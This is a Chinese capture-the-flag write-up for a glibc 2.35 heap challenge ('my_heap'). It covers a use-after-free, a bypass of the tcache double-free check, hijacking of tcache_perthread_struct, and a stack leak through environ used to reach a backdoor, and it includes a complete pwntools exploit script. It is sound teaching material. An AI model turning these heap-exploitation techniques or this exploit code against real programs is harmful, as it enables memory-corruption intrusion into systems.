代码审计
一道标准菜单题,但是限制还是蛮多的
add
函数
这里可以知道我们只能一个存储一个chunk
指针——buf
,当choose
不等于1的时候会空申请一个0x4f0
的堆块
dele
函数
一眼出来的UAF
,但是利用条件使得不是特别好利用
show
函数
这里只有对我们输出的进行了异或加密,并且只能打印出来7个字节的数据,不过我们泄露的libc
也就6个字节长
这里贴一下解密部分
for i in range(6):
val = u8(p.recv(1))
addr += (val ^ (0x99+i)) * 0x100**i
edit
函数
这里是限制比较多的,我们只能修改8个字节大小
change
函数
这里比之前那个要好一些,可以修改0x10
字节,并且给了我们后门函数的地址
思路
如果你有查看对应程序的libc
版本的话,就知道他是2.35版本的libc
所以,我们利用就十分受限
难点一
我们直接修改一个0x10
字节,并且该版本的tcache bin
加入了检测double free
的机制,所以我们需要绕过才能机制才能利用tcache chunk
难点二
也是因为修改字节数少的原因,该版本下,我们可以利用的hook基本上以及没有了,所以目前只能通过两种手法进行利用:
- 劫持
stderr
等IO_FILE
,实现FSOP
- 泄露
stack
地址,实现ROP
但是我们修改字节数少,这里我是用第二种手法
解法
目前我们先要解决的是难点一,因为修改长度的原因,我们就可以把largebin attack
给pass
掉了,所以只剩下绕过tcache chunk
入链时的检测
这个是之前做题的一个奇奇怪怪的点,并没有仔细研究,后面估计会出一个文章来研究一下这个点
我们可以通过change
的机会把对应释放的chunk
前0x10
的数据位置全部给置零,就可以绕过去,猜测是后0x8
字节是对该chunk
是否已经进入过tcache bin
的一个检测
这样的话,我们就可以任意申请地址了,下面又是利用难点,我们如何通过一次任意申请实现多次任意申请
我们回想一下,我们前面为什么不能直接用UAF
,是因为tcache bin
对应的counts
只有1,所以我们修改指针后,申请不出来,所以我们只需要把对应的存储counts
的位置覆盖为比1
大的数,就可以实现申请出来
修改tcache_perthread_struct
对应的值即可,所以我们劫持它
这样我们就有实现多次任意申请了
泄露stack
地址,和ROP
就不细说,最后注意一下栈对齐即可
getshell
exp
from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
p = process(name)
# p = remote("172.16.75.169",9999)
elf = ELF(name)
def add(idx,size):
p.sendlineafter("edit",'1')
p.sendlineafter("which one you choose?",str(idx))
if idx != 0 :
p.sendlineafter("size:",str(size))
def dele():
p.sendlineafter("edit",'2')
def show():
p.sendlineafter("edit",'3')
def edit(content):
p.sendlineafter("edit",'4')
p.sendafter("edit data:",content)
def backdoor(content):
p.sendlineafter("edit",'5')
p.recvuntil("0x")
door = int(p.recv(12),16)
p.sendafter("edit data:",content)
return door
get_p("./my_heap")
add(1,0x50)
dele()
show()
p.recvuntil("the data")
p.recv(1)
heap_addr = 0
for i in range(5):
val = u8(p.recv(1))
heap_addr += (val ^ (0x99+i)) * 0x100**i
heap_addr = heap_addr * 0x1000
print(hex(heap_addr))
add(1,0x440)
add(0,0x500)
dele()
show()
p.recvuntil("the data")
p.recv(1)
for i in range(6):
val = u8(p.recv(1))
libc.address += (val ^ (0x99+i)) * 0x100**i
libc.address -= 0x21ace0
print(hex(libc.address))
add(1,0x3d0)
dele()
add(1,0x10)
dele()
edit(p64(libc.sym['environ']^(heap_addr>>12)))
add(1,0x20)
dele()
add(1,0x30)
dele()
add(1,0x60)
dele()
door = backdoor("\x00"*0x10)
print(hex(door))
pie = door - 0x00012BE
dele()
gdb.attach(p,"")
sleep(2)
edit(p64((heap_addr+0x10)^(heap_addr>>12)))
add(1,0x60)
add(1,0x60)
edit(p16(0x3)*4)
add(1,0x10)
add(1,0x10)
show()
p.recvuntil("the data")
p.recv(1)
stack = 0
for i in range(6):
val = u8(p.recv(1))
stack += (val ^ (0x99+i)) * 0x100**i
stack = stack - 0x80 - 8 - 0xa0
print(hex(stack))
shot = pie + 0x4010
add(1,0x20)
dele()
edit(p64(shot^(heap_addr>>12)))
print(hex(pie))
add(1,0x20)
add(1,0x20)
edit(p64(1))
add(1,0x30)
dele()
one_gadget = 0x10d9ca + libc.address
edit(p64(stack^(heap_addr>>12)))
add(1,0x30)
add(1,0x30)
backdoor(p64(0)+p64(pie + 0x0012C6))
p.sendlineafter("edit",'6')
p.interactive()
- my_heap.zip 下载